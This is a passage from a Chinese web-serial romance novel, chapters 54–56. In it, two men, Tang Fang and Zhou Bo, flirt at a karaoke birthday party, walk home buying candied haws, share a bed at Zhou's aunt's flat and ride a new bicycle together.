“……艹,”周勃半天才反应过来唐放这话什么意思,“要睡找你兄弟陈牧德睡去,你不是和你兄弟会互相帮助吗?让他帮你去。” “……” 过了会儿,见周勃没咳了,恢复了些,唐放才淡淡开口,“你今天怎么来了?不是不来吗。” 周勃脸看向另一边,“路过。” “……奥,”唐放点点头,装似认真说了句:“那明天我也路过你家试试。” 周勃扫了眼他,唐放这人说话脸不红心不跳,好似真有明天要上门的打算,他眼皮一跳,“别闹。” “闹什么闹,”唐放说,“我没闹。” 周勃嘴角抽抽:“你上我家去干嘛?” “好久没见周姨了,她估计想我了,”唐放慢条斯理的说,“顺便吃个饭,晚上喝个酒,再冲着人喊两句我是怂蛋。” “不行?” 周勃:“……” 他是听出来了,唐放说笑呢!这笑话一点都不好笑,周勃说:“随你。” 俩人又沉默了半响,台上的陈牧德捏着话筒倒是唱的高兴,时不时破音两句。 咋他们就成这样了呢? 周勃忍不住在心里问,他又看向唐放,他面无表情的靠着沙发,看着陈牧德出神。 憋不住了,周勃靠在唐放身侧的沙发上,用手捅了捅他的腰,“你就不能不喜欢我吗?” 这一捅,差点给唐放捅得腰一软,他抹了把脸,反问:“狗改得了吃屎?” 刚问完,连他自己也沉默了。 “……艹,你骂谁是屎呢?” “……我又没说我是狗。” 这话一出,周勃是无语,唐放摸摸鼻尖,自己也搞不明白怎么就说了句这样儿的话。 他扫了眼周勃,眼睛看着虚空,“所以,你想的怎么样了?” 周勃不想碰到唐放的原因就在这儿,这是在逼着他做出选择。 “……说这个干什么。” 唐放眼睛没看周勃,余光却一直放在周勃身上,看着他紧抿的唇,想到这些天的思索,说实在的,这滋味儿还是他第一次尝到。 不敢再把人逼的那么紧,唐放说:“这样,你后边儿别躲我,给我三个月时间,要你对我真一点动心也没有,我再不说这话。” 周勃一顿,他狐疑看了眼唐放,这人正盯着他,不像是开玩笑。 这事儿,唐放也不可能开玩笑。 周勃咽咽口水,说实在的,个大老爷们整天动心动心喜欢喜欢挂在嘴边,也有点害臊,“你要真没让我……” “那我们就做兄弟朋友,纯粹的。”唐放嘴角勾起,打断他。 这就像是个缓冲,也像个尝试。 周勃觉得这对自己貌似没什么损害,脑子一热,十分平静且干脆利落的答应:“行,这可是你说的,别到了时候不认账。” 见他答应了,唐放身体放松,只要能给机会,什么都好说,他就不信了,三个月还拿不下周勃? 周勃却想着,幸好有个时间,熬过去了他就不信唐放这家伙还能这么厚脸皮? 俩人心思各异,但就目前来说,对这个方案彼此十分满意。 连带着对陈牧德破音的声儿都显得悦耳很多。 也就沙发另一头的王伟杰忍不住看了陈牧德一遍又一遍,直皱眉,这人咋能唱个歌破音成这样儿? 没了心事,唐放很是放松,他看着周勃,眉眼上挑:“这下不气了吧。” 注意到周勃裤子上的水渍,唐放从一旁抽出几张纸,他可没忘记第一次见周勃时,这人的矫情,心情好,这时候大手一挥:“来,我给擦擦。” 周勃:“……” 刚才不擦,现在这是要干什么? 眼见这人手拿着纸就要往他大腿上扫,周勃一个激灵儿,连忙躲开,“不用,我自己来!” 抢过唐放手里的纸,周勃胡乱给裤子上的酒擦了擦,其实这也擦不了什么出来,酒会挥发,刚才就挥发了。 皮肤上倒没湿润的感觉,也就裤子看着湿了一片,凑近有股酒味儿。 周勃胡乱擦了下,把纸扔进垃圾桶。 唐放看着他这动作,后知后觉好似明白了什么,他看一眼周勃,又看一眼,完了乐了,指着他裤腿,“这儿,这还有呢。” 周勃扯张纸继续擦。 唐放指了指他的脖子,“这儿呢,这也有。” 周勃又擦。 唐放指指周勃下巴,“这里。” 这明显没有啊?周勃手里动作犹豫了会儿。 唐放说:“你看,你自己都不知道,还是我来给你擦吧!” 周勃面不改色,手在下巴上随便抹了抹,“没事,我自己来。” 唐放笑眯眯的,随后又给指了几个地方,周勃一一擦拭,这傻傻的,又还挺乖巧的模样看得唐放心痒痒。 “还有这儿,也湿了。” 周勃擦拭的手一顿,随即脸一黑,到这时候他还看不出唐放在耍他,他可就真成傻子了。 唐放见他手还不动,“怎么了,我说了啊,来,我给你擦擦,又不是小孩子,怎么还磨磨蹭蹭的!” 周勃拍开他伸过来的手,咬着牙:“滚!” 这一骂,唐放嘴角勾得越大,“咋了,你其他地方都擦了,这地方肯定也氵显了啊!” 周勃一手纸扔到唐放脸上,黑着脸:“滚你大爷的!” 唐放憋住笑,他抱着手,脸转到另一边,生怕再刺激到周勃,笑得头发都抖了两下。 陈牧德一展歌喉,不少人边骂边跟着哼上两句,完了终于把他送下去了,也就一些不怀好意的人,还想让陈牧德再来两首乐呵乐呵。 陈牧德一一谢别,回到了自己原本的位置,拿起桌上的水就往嘴里倒。 这确实是水,刚才唐放倒的。 陈牧德润了润嗓子,看着正黑着脸的周勃和转头的唐放,没明白发生了什么事儿。 不过他嘴里还是说:“唱完了,周勃哥,你要不上去唱两首?” 周勃想起刚才陈牧德的歌声,前边儿还好,一到高音就开始破音,他嘴角抽抽,笑得勉强:“不了。” 看了眼还在笑的唐放,周勃说:“让唐放上去唱两首吧,好歹给他过生,怎么能不唱两首呢!” 陈牧德听这话,一想也是,朝着唐放催促说:“放哥,上去唱两首呗!好容易来卡拉ok一次,怎么能一首歌都不唱。” 陈牧德隔着人和唐放说话,难免声音大了些,离得近的哥们听见,也开始劝。 “是啊!放哥,上去唱两首!” “唱两首!” 这一个人能传十个人,眼看着要开始起哄,唐放也不是扭捏的人,他看了眼周勃,“一起?” 周勃没看他,装作没听见。 唐放眯着眼睛,轻哼两句:“怂蛋。” 周勃面不改色,你骂任你骂。 很快,包厢中响起了音乐声。 又是一首熟悉的曲子。 陈牧德听着旋律,有些纳闷:“放哥不是觉着这歌难听吗?难听怎么还唱这个?” 第54章 第 54 章 又是熟悉的旋律。 周勃说:“这歌不难听。” 陈牧德:“是不难听, 放哥觉得它难听。” 唐放为什么会选择这首歌,连他自己都说不上来,或许是周勃身上的那身酒味,或许是他心情好, 又或许是他忽然想到了之前周勃喝醉的那个夜晚, 伴随着的也是这首歌。 他有点忘了当时的具体场景, 只记得看着周勃醉酒的脸, 耳边回荡着这歌。 很是迷人。 唐放觉着可没有比这首歌更应景的了。 当时他就觉着这歌好听。 现在也一样。 张信哲的这首歌, 里面充斥着浓浓的爱意。 唐放一开口,陈牧德发出声“咦——” 没想到放哥唱歌还挺好听。 周勃也愣了一秒,静静的听着。 “不问你为何流眼泪” “不在乎你心里还有谁” 唐放对这句话挺有感触的, 他可不就是不在乎周勃心里是不是还有李丽华吗? “且让我给你安慰” “不管结局是喜是悲” …… 唐放唱歌没有其他人那样夸张的表情动作, 或者说,他那张脸, 只光站在灯下,就是吸引人眼球的存在, 比其他任何东西都要闪耀。 更何况, 就这样唱着。 周勃却能很明显感受到, 他的目光一直停留在他身上,从未离开。 就好像。 就好像这歌是唱给他听的? 低沉的声音唱着前奏, 伴随着音乐, 点点荡漾着人的情绪。 “既然爱了就不后悔” “再多的苦我也愿意背” 渐渐来到高|潮, 不少玩游戏的人下意识跟着一起哼唱,“我的爱如潮水, 爱如潮水将我向你推。” “紧紧跟随” “爱如潮水她将你我包围” 周勃看着唐放, 双眼对视,唐放的眼睛漆黑无比, 像一片漆黑汹涌的海水,要将人溺死在其中。 伴随着歌词,周勃好像真的感受到了扑面而来的水汽,压抑沉重,让人窒息。 或者说,是他忘了呼吸。 水汽确实有,陈牧德喝水被隔壁突然发出怪叫的哥们吓得手一抖,半杯水泼在地上,可不就是有水汽吗? 周勃放缓呼吸,他扯了扯自己的衣领,觉得唐放唱歌还真让人透不过气。 他不再看唐放的方向,从桌上拿起水杯给自己倒了杯水,咕噜咕噜灌下。 此时歌曲早已到了第二个高|潮。 会唱的人多了,有人忍不住拿起另外一个话筒,跟着一起唱。 “我再也不愿见你在深夜里买醉~” “不愿别的男人见识你的妩|媚~” …… 这跟着一起唱的,都是大拉着嗓门,一声盖过一声,跟比赛谁嗓门大似的。 周勃后边儿都没在听到过唐放的声音,那股不自在感终于逐渐消散。 陈牧德在他身边心思早就不在前边唐放身上了,看着王伟杰一脸难看的出去,小声嘀咕:“王伟杰这是咋了?” 忽然,他想起了什么,一拍脑袋,“对了!小敏,我说我忘了啥!” “算了,反正她哥去了。”陈牧德觉着要真过去看看小敏这妹子,王伟杰指不定就把他给ko了。 一首歌唱完,不少人很给面子的拍手,说好听再来一首,唐放摆手。 不唱了,没见周勃神儿都不知道偏哪儿去了,再唱他真怕这人偷摸摸和别人聊天去了,那他不是白唱吗? 唐放下来,依旧照例坐在周勃身旁。 陈牧德这时候好奇伸头,将自己刚才的疑惑问出:“放哥,你不是觉着这首歌难听吗?怎么还唱了这个?” 唐放挑眉,看了眼周勃,随后淡淡反驳:“我什么时候说这歌难听了?你听错了,耳朵不好就不要乱说。” “你……”陈牧德顿时无语,他明明记得很清楚,咋还说谎呢! 这时候就真后悔,咋没个录音机呢!就该在放哥说的时候录下来,狠狠打他的脸! 陈牧德哼哼两句,不再说话了,反正他说什么都是没理。 周勃可不管这俩人说什么,他看了眼手表,面色不变,“时间有点晚了,该走了。” 此话一出,陈牧德一惊,“不是,周勃哥,这才多久啊!刚来就要走啊?” 唐放也是皱眉,他抽出周勃带着手表的手,“我看看。” 手表戴在人洁白的手腕上,只见上面的时针分针清清楚楚的指着,时间是九点十五。 这时间怎么晚了,要放在年轻人身上,这夜生活都还没开始呢! 周勃想抽回手,被这人死死拉住,无奈,他做出解释:“我姑还在家里等我回去呢,回去晚了她该担心了。” 周山妹一搬出来,唐放就知道留不住人了,他对周勃比他自己都了解,这人最在乎的就是他姑。 想了想,唐放手指不自觉在这人洁白的手腕上又摸了摸,随后不舍的松开手,“行,时间是有些晚了。” 他这话一出,周勃放松了些。 陈牧德则是目瞪口呆,放哥这就放人走了,不多说说话?不是很喜欢人家吗? 要是他,再怎么也要厚着脸皮求这人再玩会儿! 唐放没等周勃站起身,他率先站起来走到门口,面不改色说:“走吧,不是要回去吗?再晚了,周姨该担心了。” 周勃:“……” 陈牧德“嘶”了一声,学到了。 周勃看着靠在门框上等着自己的唐放,觉着自己坐也不是,站也不是。 木着脸站起来,走出包厢。 果然,唐放跟在他身后。 刚出卡拉ok,一阵温热的夜风对着人脸吹,耳边也没了在里边儿的嘈杂。 这时候路上的人也没变少,周勃扫了眼身边的唐放,嘴角抽抽,“你也回去?” “奥。” 有他的前车之鉴,周勃是一个字儿也不信,“你就这么走了,真的行吗?” “他们又不是没断奶的孩子。”唐放说。 “……行。” 走到桥上,夜风终于凉了些,不少钓鱼佬拿着小板凳,提着桶,在桥上钓鱼。 不少小孩子两头跑来跑去,发出嘻嘻哈哈的笑声。 周勃从口袋里摸出烟,刚放到唇边,“咔嚓”一抹火光在他眼前一闪。 打火机上闪烁的火苗在风中飘晃。 周勃眼睛很清楚的看到,那只纹着纹身的手,举着绿色打火机,正细细点燃他唇边的烟,那是带着男人力量感线条的小臂,是和他同样身为男人的小臂,青筋盘踞,该是个大开大合的男人。 做起细活儿来,竟然带上点仔细。 周勃思绪发散,莫名让人想起电影里,马仔给大哥点烟是不是也是这样? 他看了眼唐放,他又不像是马仔,哪有马仔长这么扎眼的,这不是抢戏吗? 不是马仔,那是什么? 是野心勃勃等着上位的小弟,是脑子里全想着怎么把老大压|在身|下的傻叉,周勃清醒的想。 唐放收回打火机,对上周勃莫名的眼神,淡淡道:“看什么看,我脸上有东西?” 周勃:“没什么。” “走吧。” 一些收完摊,骑着三轮车的人也正往家里赶,来来往往都有人,也有骑自行车的年轻人,甜甜蜜蜜的,后座还坐着个穿裙子的姑娘。 姑娘脸上的笑容和年轻人脸上的笑同步,只看着就透着股恋爱的酸臭味。 周勃朝他们看了好几眼,唐放也扫了几眼。 周勃是看到他们身边过去个大爷,大概是卖糖葫芦的,可能是卖得差不多了,上面只剩下几根。 晶莹剔透的糖葫芦看上去让人很有食欲。 他想着要不要给小姑买两根回去,没人不喜欢甜食。 唐放看的却是那对儿小情侣坐着的自行车。 他看了好几眼,头一次觉着自行车这玩意儿也挺有用的,没看那姑娘坐在后面笑得跟朵花似的。 “……买辆自行车吧。”唐放说。 周勃没听清楚:“什么?” 唐放看了他一眼,重复一句,似乎真有这个打算,“过两天去买辆自行车,到时候我们那项目开工,我带你去。” 周勃:“……你不是有车吗?” “那车座位太多了,”唐放说,“不方便。” 周勃觉着自己后槽牙又开始疼了,“有什么不方便的?” 唐放:“哪儿都不方便!” 说着,唐放伸出手勾住周勃的脖子,他比周勃高些,这样一勾,似乎感情很好的样子。 只有周勃知道,这个逼把身上的重量都压在他身上了,拍开唐放的手,他笑得牙痒痒,“滚开。” 唐放见他脸上的笑,那更不能放开了,嘴角微微翘起,又压了点重量过去,懒洋洋道:“不行,刚才走多了,看着他们骑自行车,现在脚疼。” “脚疼你大爷!”周勃小声的骂道,脸上的笑都要给这人的厚脸皮说没了,“起开!” 唐放就知道这人在大庭广众之下是不会大声骂出口的,拿准了这点,嘴角勾得更大,慢悠悠道。 “脚疼了,不然这样吧,你背我会儿,指不定到时候就不疼了。” 周勃能背他? 做梦! 想也想得到,这人就是贱! 周勃气得加快脚步,躲开唐放勾着他的手。 唐放腿长,很快追上来,他心情是真好,语气里全是乐:“别啊,真累了,周勃,你心疼心疼我啊!” 周勃没说话。 “小周?小勃?勃儿?” 唐放见周勃没吭声,想了想,他做出了牺牲:“这样吧,既然你累了,我背你也不是不行。” 说着,他半蹲在周勃身前,手直接往后在周勃腿上摸起来,像是要把人背起来。 周勃觉着唐放这人在发癫,想也不想,一只脚对着他屁|股就踹了过去。 唐放猝不及防,踉踉跄跄好半天才站稳身体,他也不气,就是乐。 有个小屁孩正舔着糖葫芦,看着这个奇怪的哥哥,一双大眼睛直勾勾的盯着唐放,不明白这个哥哥为什么被人踹了还笑。 这小孩盯得久。 唐放注意到小孩,他也不躲,不远处是估计是他妈妈,正买着什么东西,唐放眉眼一挑,冲着周勃高声喊了句:“周勃,吃糖葫芦吗?” 小孩一脸懵逼,他转头看了眼四周,没卖糖葫芦的啊? 周勃挺住脚步,回头,就见唐放这人面前站着个小萝卜头,手里正舔着根糖葫芦,另一只手勾着死死挡住糖葫芦,警惕的看着唐放。 他脑子中忽然闪过个念头。 唐放这家伙已经不要脸到要抢小孩零食的时候了吗? 随后他又想起来什么,md,刚才被唐放这家伙一打岔,忘了买糖葫芦了! 周勃向后望去,卖糖葫芦的大爷早没影儿了! 唐放也就是逗逗小孩,逗完了小孩,朝周勃走过去,刚走近就看见了他那脸,黑得跟锅灰似的,他刹时间还以为是自己踹了他一脚。 “怎么了?” 真就是唐放误事,周勃看了眼小孩手上的糖葫芦,这东西有是好事,没有下次给小姑买着尝尝行。 “没什么,走吧。”他没好气道 周勃皱眉走着,丝毫不知自己那眉心都快夹死只蚊子了。 想着哪天再碰上就买下来。 走了好些步,没听见身后人声儿,疑惑的回头,身后已经没了唐放人影。 一眨眼,人消失在拐角。 “……” 周勃站着,气不打一处来,差点就想骂人了,他涵养好,也就在唐放在的时候骂骂他,人没在,他没说话,嘴唇抿成一条直线。 想着这人又是发什么疯了,一声不吭的跑了。 他就等十分钟,没来就走了。 看了眼手表,上面已经快接近十点了,小姑在家看他还没回去估计要着急了。 秒针啪嗒啪嗒转动着,像是周勃的心,耐心点点消磨。 不过,没有十分钟。 就在周勃皱着眉无聊数着手表上的时间时,人大步大步朝着他走来,一抹鲜艳的红色出现在他眼前。 周勃抬眼,正要问他干嘛去了,余光扫到一串红色,顿住了。 那是一串晶莹剔透的糖葫芦,红色的山楂裹在糖浆里,看起来让人垂涎欲滴。 唐放呼吸有些重,见周勃没接,一双丹凤眼上挑:“想什么呢!” 周勃目光从糖葫芦上移到唐放脸上,那弯弯的丹凤眼看着有些耀眼,本就出色的脸,薄唇微微勾起,竟然有些让人移不开眼。 一时间,喉咙干涸:“你……” 唐放将糖葫芦放进周勃手里,轻哼两句,眼里是让人看不清道不明的意味,风吹得微微翘起的发梢带上些张扬:“真当我是你,脚累了让人背下都不同意。” “不像某个人,你放哥大气!”他说一句话,眼睛轻轻斜着带着点调侃。 周勃:“……” 手接过糖葫芦,周勃面无表情的说:“挺好,正好带回家给小姑吃了。” 他先一步迈开步子,或许连自己也没注意到,那紧皱的眉头早已松缓。 夜风一吹,带上丝丝沁人心脾的凉意。 就剩唐放一人僵在身后,磨了磨牙。 艹,你早说是周姨吃啊! 不知道的,还以为你羡慕人小屁孩呢! 第55章 第 55 章 “哎呀!这么晚了, 怎么还给我带个糖葫芦啊!”周山妹看着手里的糖葫芦,放也不是不放也不是,“我又不是小孩子!” 唐放跟在周勃身后,听见这话, 探出头, “周姨, 那是周勃特地给你买的, 吃得那管什么大人小孩。” 周山妹看见唐放, 一时管不上什么糖葫芦了,惊喜道:“唐放,你怎么来了!” 周勃此时正在脱鞋, 听见这声儿, 后边的唐放上前,差点给他挤倒。 唐放笑着说:“今天碰到周勃了, 就跟着他过来了,没有打扰吧。” “怎么会打扰!”周山妹怪嗔一句, 连忙把唐放拉进来, 对着还蹲着的周勃说:“别忘记关门啊!” 周勃:“……” 看着唐放这家伙这么受小姑欢迎, 周勃很是无奈,他换好鞋, 给俩人都倒了杯水放下。 “小姑, 快吃吧, 特地给你买的糖葫芦。”周勃提醒。 “等会儿啊!”周山妹走去厨房。 只听厨房里哐哐铛铛几声,周山妹再度出来时, 手里端着个盘子。 也不知道她是怎么做的, 一串儿糖葫芦硬是被她薅了下来,个个儿晶莹剔透放在盘子上。 “来!都吃两个!我一个人怎么吃得完!” 周勃:“……” 唐放很是平静, 他知道,老一辈的人都这样,吃点什么都要给人留点儿,很淡定的吃了颗糖葫芦。 山楂裹着糖浆,甜而不腻,确实好吃。 周山妹看到唐放吃了,这才跟着一块吃。 哪有人不喜欢吃甜的,吃甜食能让人心情好,周勃也象征性吃了个,剩下的全被俩人有意无意让给了周山妹。 房子是两室一厅,让唐放睡沙发是不可能的,周山妹重新套了个枕头放在周勃床上,“放啊,要再给你拿床薄被子不,你们俩晚上吹空调会冷的。” 唐放看着床上那成套的枕头,从头到尾嘴角的笑都没下来过。 “不用了周姨!我和周勃盖一个被子就行了!” 周勃说:“小姑,还是给他拿个被子。” 周山妹也觉着的再拿个被子,两个大男人睡一个被子确实有点小了,她从柜子里翻出被子,这被子又轻又薄,正好给唐放一个人盖。 唐放没办法,最终获得了一床新被子。 新被子给他卷到角落,他瘫倒在床铺上,使劲儿闻闻枕头的味儿,新枕头没味儿,要真有,也就是太阳的味道。 唐放又把头埋在周勃的枕头上嗅嗅,没错了,和他之前在他老家闻到的味儿一样。 他总觉着周勃身上是抹了什么东西,带着似有若无的香味。 周勃在洗漱,要知道唐放的想法,肯定是什么香,他有时候会喷喷香水。 但是偶尔。 唐放这家伙是狗鼻子。 周勃回来时,压根没发现自己的枕头老早给调换了,连带着自己的被子也给唐放卷了过去。 周勃看着那无人问津的新被子,十分好笑:“……你是就喜欢别人用过的?” 唐放理不直气也壮,看着他说:“你这床没你老家那个软。” “……”周勃嘴角抽抽,从另一边儿上床,“滚开,睡觉了。” 唐放身长手长,占了床的大半位置,听到这话,屁|股动了动,给周勃让出个人位。 周勃刚躺上去,这人就贴了过来。 周勃挪过去一点,唐放跟着又贴过来一点。 他又挪过去一点,唐放跟着过来。 到最后,周勃已经没地方挪了。 唐放看得分明,大手一览,直接把人搂着往床中心躺,说出来的话像是为别人考虑似的。 “你看看你,一直往床边靠干什么,晚上要摔下去了怎么办。” 周勃盯着他嘴角的笑,忽然就很无奈,这人咋就那么不要脸皮呢! 周勃直接拉灯闭眼。 就像唐放说的那样,他说要买自行车,还真就第二天直接去买了辆,还专门挑贵的买,听那老板说这自行车载个两百多斤的大男人都跑的飞快。 唐放付了钱。 这卖自行车的老板笑容要裂到耳后根了,手里攥着钱,一遍一遍的数,“你放心,你买了我这车,保证,别说带个姑娘了,你带两个姑娘都成!” 唐放不要求带两个姑娘,他只带个周勃,心情好就没管老板的吹嘘。 趁着这两天前个项目付尾款,唐放带着王伟杰和陈牧德去跑注册公司的材料文件。 他们当然也想正当化,不再只是小打小闹,是个所谓的兄弟作坊,小作坊总是做不长久的。 九十年代想要注册公司手续十分繁琐,要向工商行政管理局提交申请,还要准备一系列材料,包括但不限于公司章程,股东身份证,法人和董事长也得有,还有公司注册地址等等。 完了申请下来营业执照,还得进行税务登记。 幸好有车。 白天唐放开着车带人去跑公司的事,到了晚上,就慢悠悠骑着自行车去周勃公司接人回家。 没错,唐放又死皮赖脸住进了周勃家。 谁叫他家有个特别欢迎唐放的姑姑,对唐放过来住举双手双脚同意。 也不怪周山妹喜欢唐放,人过来住,周勃晚上回家的时间都准了! 家里也热闹很多。 到了时间点,唐放在楼下等着,见人还不下来,径直上了楼。 期间不少人遇到唐放已经见怪不怪了,都以为是老板朋友,更别说这几天几乎每天都看到这人。 董军看到唐放,也不奇怪,对他指指办公室说:“老板还在里面。” 唐放点点头,“谢了。” “不用谢。”董军巴不得他早点把周勃带走,他也能早点下班。 慢悠悠给自己倒了杯水,董军想着这次老板会几分钟出来,十分钟? 会不会有些长了? 嗯……那就五分钟吧! “叩叩叩!” “进来。” 唐放打开门,果然看到人正坐着不知道看着什么文件,一脸认真。 都说认真的男人看起来最帅,这话唐放很是赞同,他眼睛好,看着周勃认真的样子确实很帅。 洁白的脸,专注的眼神,就连捏着文件的手指都显得修长无比。 要是那专注的眼神能放在他身上就好了,唐放眸光幽深。 半响儿,他靠在门框上抱着手笑着说:“老板,该下班走了吧。” 周勃眼睛没抬,抿着唇:“等会儿。” 唐放又等了三十秒。 “老板,你再不走,我可就关门了啊。” 周勃长舒一口气,知道要再不走,唐放这人指不定能干出什么事儿来,他不再拖延,站起身,“走吧。” “这就对了嘛,”唐放笑了,“工作是做不完的,哪有回家重要!” 董军看着办公室走出俩人,他看了眼手表时间,很好,这次快五分钟了! 等人走的不见人影,董军飞快收拾好东西。 下班! 唐放买的自行车,周勃坐了两天后终于习惯了些。 心血来潮,周勃想和唐放换个位置,他来骑。 “可以,你想多出力也行。”唐放满口答应。 周勃等他坐上来,脚一蹬,自行车两个轮子转动,带着人回家了。 唐放知道周勃是新鲜,骑了两分钟,他掌着周勃的腰开口:“怎么样?” “什么?” 周勃的声音带着风。 “累不累?” “还好。”哪有人骑了两分钟就累了? 唐放点点头,他的注意力渐渐移到了手心,这劲瘦的腰肢很是惹眼,手底下的温度叫人想忽视都难,以前他总是觉着周勃腹部肌肉好,皮肤摸着紧致。 这时候,他又觉着周勃的腰也好,虽说没姑娘细,但更有让人心痒痒的潜质。 唐放从来不是委屈自己的人。 撩起衣服就摸了上去,赞叹一声,好腰。 他这一动作,给周勃整僵住了,他现在可不是之前啥都不懂的人,小声骂道:“你大爷的,手给我放下来。” 唐放脸不红心不跳,“放下来干什么,不掌着我摔下去怎么办!” 真就是厚脸皮,不过好在这人手就老老实实放在他腰上,没往别处走。 周勃之前也是用他腰作支撑,这次换过来,咋就那么不对呢! 心里别扭,周勃猛得加快脚步。 唐放还没反应过来呢,加快的自行车一下给了他惯性,让他的脸狠狠砸在周勃背上。 听着身后闷哼的痛呼,周勃眉头松缓,嘴角不自觉勾起。 这下对味儿了! 这下一砸,等到周勃停车,唐放都还在揉着鼻子,看向周勃的目光中带着指控,一双丹凤眼因着鼻子的酸意泛起生理性水光。 他这样儿,看得周勃生理舒适,他笑眯眯:“好了,后边儿你来骑吧!” 唐放:“……” “怎么,你不会不行了吧?” “……行,”唐放咬牙,“怎么不行,你不行我都不能不行!” 周勃再度坐到了唐放的后座。 他学着唐放刚才那样儿,两只手伸|进他衣摆搂住他的腰。 感受着手下的触感,周勃一愣,觉得唐放那动作也不怪这人,这手感确实挺好的。 没忍住,周勃也跟着摸了摸。 然后,和他刚才一样,唐放的身体也僵住了。 周勃好似毫无察觉,手伸到他前面,唐放的身材好,腹部自然也有着腹肌,手感丝滑,软中带石更,让人爱不释手。 “怎么了?”周勃察觉到唐放速度减慢,挑眉问,“这就受不了了?” 唐放转头,送给他一个意味深长的眼神,“没感觉。” 这还没感觉? 周勃不信。 直接给他来了个狠的,放轻动作,跟挠痒痒似的,开始在他腹部和月要间滑过,甚至都还是手抽出来了,隔着衣服。 外人看只看出这俩人关系好,一人骑车一人坐后座,啥也看不出来。 也就周勃,听到唐放倒吸一口气,显然是刺|激到了。 达到目的,收回手,正经儿的掌着人腰坐稳位置,周勃嘴角止不住上扬,心里直乐。 跟他斗,唐放还嫩着呢! 你大爷看过来自后世的片儿,你看过吗? 第56章 第 56 章 骑个自行车, 还能骑的歪歪扭扭,差点给人带水沟里去。 周勃从唐放的后座下来,转身上楼了,不到两秒, 唐放紧随其后。 周山妹也感叹, “果然是, 吵完架后感情更好了!” 她在围裙上擦了擦手, 把菜端出来, 准备吃饭了。 很简单的两菜一汤,却让唐放吃得很是满足,他从以前就觉得周姨做饭有种家的味道, 现在和周勃一起围着桌子吃饭, 这种感觉更浓了。 人就是这样,缺什么就想要什么。 自己没有什么, 就越容易被这类东西打动。 周勃觉着唐放就像他家里喂的那猪,饭量大, 什么吃不完的都交给他善后, 一点儿也不用担心浪费。 见着唐放收尾, 三下五除二把剩余的饭和菜全都下肚,周勃问:“吃饱了?” 唐放谦虚平淡:“差不多。” 周勃朝周山妹喊了声:“小姑, 明天再给唐放多煮半碗米, 他没吃饱!” “好嘞!”周山妹的声音从阳台传过来。 唐放笑了, 只当周勃是关心自己:“也不用,少吃点也不饿。” 周勃说:“没, 我就是想看看你能吃多少。” “……” 夜晚, 空调扇转动着,一刻不停抽取着房间里的热气, 再通通置换成冷气。 唐放火气重,属于一晚上不盖被子都没什么感受的人。 周勃不同,他是典型的,不吹空调热,吹了又冷的人,折中的办法就是盖着被子吹空调,既不冷也不热,刚刚好。 但,再怎么刚刚好,也禁不住唐放跟那八爪鱼似的,连被子带人通通抱进怀里,美其名曰:“我怕你掉下去。” 以往没办法,周勃开着空调,不热,也就随他去了,你要多跟唐放说两句,那手跟铐子似的,能把你勒个半死。 不过今天,周勃惊讶的发现,唐放这人,竟然老实了! 平常跟个狗皮膏药似的! 周勃打开灯。 果不其然,这人没睡。 唐放看过来:“” 周勃关上灯。 唐放的反常耐人寻味,周勃出于对朋友的关心,斟酌许久,“你们今天跑程序怎么样了?” “还行。”唐放说。 “哦,”周勃想了想,“没遇到什么困难吧?” 唐放好笑:“注册个公司能有什么困难,有的东西,你行就是行,不行就是不行,大家心里都有数。” “……奥。” 周勃:“……那就是今天运气不好,买彩票亏了。” “……” 唐放有些后知后觉了,他转过头,黑暗中,他根本看不清周勃脸上的神情,“你今天买彩票了?” “没。” “那你想说什么?”唐放准备去开灯了。 “啪嗒!”一声,灯又乍然睁开眼,瞪着圆目愤愤的看着大晚上躺床上不睡觉的俩人。 骤然亮起的灯光让周勃不自觉眯了眯眼,用手挡了两下,片刻后,一抹阴影投到他脸上。 睁开眼,唐放这家伙直挺挺的坐起来,正盯着他不知道看啥。 周勃:“……你看什么?我脸上有东西?” 唐放摇头,看着他皱着眉不知道在想什么,忽然有点想逗逗他。 斟酌片刻,唐放开始一本正经的胡说八道,“我在看你的面相。” “别动!”唐放一只手捏住周勃下巴,表情严肃。 周勃不动了,嘴角抽抽:“……大师,你看得准吗?” 见周勃配合了,唐放嘴角不自觉微微翘起,一双眼睛在周勃脸上扫视了好几圈,之前每次看他的脸,只觉得这人脸白,眼睛大,笑起来眼睛弯弯的。 现在看仔细了,人脸确实白,睫毛也长,长而翘,顺着上挑的眼尾,挑得人心痒,更别说还有那唇,润润的…… “咳咳!”唐放轻咳两声以示清白。 “老板,你这面相……” 周勃见唐放还演上了,他倒要看看这唐放葫芦里卖什么药:“……大师,我面相怎么了?” “你这面相说好也不好,”唐放十分淡定,“你是不是从小父母双亡,和你亲人相依为命,后来娶了个老婆,但是缘分不深,最终一拍两散!” “……大师,”周勃嘴角抽抽,有些好笑:“你算的可真准。” “也还行,”唐放说着这话,自己差点都要压不住嘴角了,“只是你这面相,注定了你事业有成,但夫妻缘分不大。” “所以呢?” “……你想解决这个问题吗?” “……想。”迫于唐放眼神压力,周勃说。 唐放这时候终于笑了,“这很简单,只要你找个姓唐的男人来给你压一压就行了。” 搞了半天,是在说这个,周勃拍开唐放的手,脚朝着他踹两下,没踹到。 “滚滚滚。”周勃给唐放这不要脸的话逗乐了,笑骂道:“神棍!” 唐放不疾不徐,看着他挑眉:“老板,真不想试试?保证包你满意!” 周勃又要拿脚踹他。 唐放闭嘴了。 灯再度给关上。 过了半响儿,唐放凑到周勃身边,睁着的丹凤眼半眯着,低沉的声音带着徐徐诱惑又像是漫不经心:“老板,你真不想试试?” “不要钱,可以先给你来个免费的服务。” 周勃觉着自己脑瓜子疼,他要能信就有鬼了,一只手直接捂住唐放的嘴,对他的话一点儿不信:“别发马蚤了,赶紧睡,你要真没别的心思母猪都能上树!” 唐放眼神幽幽的,挣脱了周勃的手,说着自己都不信的鬼话,誓言张口就来:“我对天发誓,就单纯仰慕老板,只是想为老板服务,我要有半点不轨之心,天打五雷轰!” 可能是老天爷都觉着唐放脸皮厚,“轰隆!”一声震天雷声响彻天地。 闪电划破黑夜天际,照亮了俩人一瞬的脸。 唐放和周勃皆是呆愣。 过了会儿,周勃嘴角压都压不下去,这事儿可太戏剧性了,他嘴里满是揶揄笑意:“唐放,连老天爷都看不惯你的话,你有什么好说的!” “……”唐放。 唐放磨了磨牙,拉过周勃半截儿被子盖在身上,不想了,语气里透着郁闷:“睡觉!” 雷声过后,雨点随之而来。 夏天的雨,不下则已,一下非得给你下个狗血淋头,下个天昏地暗。 空调给关了,豆大的雨滴砸在窗户上,一滴又一滴,仿佛要把整个窗户给砸破。 周勃猛然坐起身。 “阳台的衣服!” “快起来!” 周勃精神弥留之际,忽的想起了小姑晚饭时晒的衣服,这怕不会直接给风吹到楼下去。 俩人着急的起来,开始冲到阳台进行抢救。 